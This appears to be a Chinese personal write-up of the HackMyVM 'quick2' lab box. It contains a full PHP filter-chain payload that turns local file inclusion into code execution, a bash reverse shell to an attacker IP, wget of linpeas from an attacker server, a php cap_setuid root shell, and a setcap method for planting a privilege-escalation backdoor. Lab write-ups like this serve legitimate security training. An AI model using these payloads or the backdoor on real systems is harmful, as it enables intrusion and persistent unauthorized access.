笔记编辑于2025/11/23
本文是个人参考【OSCP】quick2进行的复现的文章
靶机渗透开场
攻击机1
主机存活发现
┌──(root㉿Xudde)-[~]
└─# ip a
┌──(root㉿Xudde)-[~]
└─# nmap -sP 192.168.161.130/24

发现靶机192.168.161.131
攻击机2
端口扫描
┌──(root㉿Xudde)-[~]
└─# nmap -sV -O -p- 192.168.161.131

攻击机3
目录扫描
┌──(root㉿Xudde)-[~]
└─# dirsearch -u http://192.168.161.131:80/

攻击机4
漏洞扫描
┌──(root㉿Xudde)-[~]
└─# nikto -host http://192.168.161.131

nikto告诉我们index.php?page=存在文件本地文件包含漏洞
攻击机5
验证本地文件包含漏洞

当然在file.php这个文件也有本地文件包含漏洞

攻击机6
用脚本php_filter_chain_generator.py构造RCE
https://github.com/synacktiv/php_filter_chain_generator
一个用于生成PHP过滤器链的命令行工具,如果你完全控制传入PHP require或include的参数,则无需上传文件即可获得RCE!
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'

攻击机7
file=后面加上&0=id执行命令
http:?/192.168.161.131:80/file.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=id

攻击机8
反弹shell,命令需要url编码
//编码前
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.161.131/6666 0>&1"
//编码后,插入&0=后面,本地执行nc -lvvp 6666监听
%2fbin%2fbash+-c+%22%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.161.131%2f6666+0%3e%261%22

成功拿到shell
目标机1
cd /home/nick
cat user.txt

第一个flag,HMV{Its-gonna-be-a-fast-ride}
靶机渗透内网提权
攻击机10
提权
在/tmp目录下上传linpeas.sh扫描
python -m http.server 7777

目标机2
wget http://192.168.161.130:7777/linpeas.sh

目标机3
给予linpeas.sh执行权限,并执行linpeas.sh
chmod +x linpeas.sh ./linpeas.sh
目标机4
根据描述查看有无RED/YELLOW


攻击机11
https://gtfobins.github.io/gtfobins/php/

目标机5
/usr/bin/php8.1 -r "posix_setuid(0);system('/bin/sh');"
或者
CMD="/bin/sh"
/usr/bin/php8.1 -r "posix_setuid(0);system('$CMD');"

目标机6
ls /root/ cat /root/root.txt

得到第二个flag,HMV{This-was-a-Quick-AND-fast-machine}
靶机渗透结束收场
web漏洞源代码分析
file.php文件
www-data@quick2:/var/www/html$ cat file.php
cat file.php
<html>
<body>
<h2>Local File Inclusion Vulnerability</h2>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'];?>">
File to include: <input type="text" name="file">
<input type="submit">
</form>
<?php
if (isset($_GET['file'])) {
include($_GET['file']);
}
?>
</body>
</html>
没有任何过滤
可以利用php伪协议执行代码
http://192.168.161.131:80/file.php?file=php://filter/convert.base64-encode/resource={file}.php
还有file:///etc/passwd读取文件
另外因为靶机php配置文件没有开启allow_url_include无法实现php://input和data://
且allow_url_fopen也是关闭的远程文件包含更无法实现
渗透收获
设置提权后门方法
setcap cap_setuid=ep /usr/bin/php8.1 //允许进程修改自身用户id
提权后门提权方法
/usr/bin/php8.1 -r "posix_setuid=(0);system('/bin/sh');"
这波渗透收获也蛮丰收,懂得了设置提权后面的方法和新的提权方法